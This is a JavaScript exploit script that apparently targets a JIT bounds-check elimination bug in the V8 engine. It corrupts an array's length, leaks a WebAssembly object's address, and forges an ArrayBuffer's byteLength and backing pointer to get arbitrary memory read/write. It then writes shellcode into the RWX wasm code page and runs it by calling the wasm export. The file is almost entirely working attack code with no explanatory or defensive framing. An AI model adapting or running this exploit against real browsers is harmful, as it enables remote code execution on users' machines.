function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);

function d2u(v) {
	f64[0] = v;
	return u32;
}

function u2d(lo, hi) {
	u32[0] = lo;
	u32[1] = hi;
	return f64;
}

function hex(lo, hi) {
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "-00000000");
    }
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    }
    return ("0x" + hi.toString(16) + "-" + lo.toString(16));
}

function view(array, lim) {
    for(let i = 0; i < lim; i++) {
        t = array[i];
        console.log("[" + i + "] : " + hex(d2u(t)[0], d2u(t)[1]));
    }
}

function fun(arg) {
	let x = arguments.length;
	a1 = new Array(0x10);
	a1[0] = 1.1;
	a2 = new Array(0x10);
	a2[0] = 1.1;
	victim = new Array(1.1, 2.2, 3.3, 4.4);
	// maybe x >> 16 -> false propagation -> checkbounds elimination
	//a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
	//a1[(x >> 16) * 41] = 8.91238232205e-313;  // 0x2a00000000
	a1[(x >> 16) * 51] = 8.691694759794e-311;  // victim array -> change length property to 0x1000
	//a1[(x >> 16) * 51] = u2d(0, 0x1000);  // victim array -> change length property to 0x1000
}

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;

var a1, a2;
var a3 = [1.1, 2.2];
var victim = undefined;
a3.length = 0x10000;
a3.fill(3.3);

gc();
var a4 = [1.1];

// propagate function arguments and optimization
for (let i = 0; i < 100000; i++) {
	fun(...a4);
}

res = fun(...a3);

let leaked = [0xdada, 0xadad, f, {}, 1.1];
let ab = new ArrayBuffer(0x50);
let idx = 0;
let wasm_idx = 0;

for(let i = 0; i < 0x1000; i++) {
	value = d2u(victim[i]);

	if (value[1] === 0xdada) {
		t = d2u(victim[i + 1]);
		if (t[1] === 0xadad){
			wasm_idx = i + 2;
		}
	}

	if (value[0] === 0x50) {
		idx = i;
		console.log("[-] find index : " + idx);
		break;
	}
}

// change ArrayBuffer's byteLength property
tt = u2d(0x2000, 0);
eval(`victim[${idx}] = ${tt}`);

//view(victim, 100);
let wasm_obj_lo = d2u(victim[wasm_idx])[0];
let wasm_obj_hi = d2u(victim[wasm_idx])[1];
console.log("[-] wasm object : " + hex(wasm_obj_lo, wasm_obj_hi));

tt = u2d(wasm_obj_lo - 1, wasm_obj_hi);
eval(`victim[${idx + 1}] = ${tt}`);

let dv = new DataView(ab);
lo = dv.getUint32(0x18, true);
hi = dv.getUint32(0x18 + 4, true);

tt = u2d(lo - 1 - 0xc0, hi);
eval(`victim[${idx + 1}] = ${tt}`);
rwx_lo = dv.getUint32(0, true);
rwx_hi = dv.getUint32(4, true);

console.log("[-] rwx page : " + hex(rwx_lo, rwx_hi));

tt = u2d(rwx_lo, rwx_hi);
eval(`victim[${idx + 1}] = ${tt}`);

var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b];

for(let i = 0; i < shellcode.length; i++) {
	dv.setUint32(i * 4, shellcode[i], true);
}

f(1, 2);
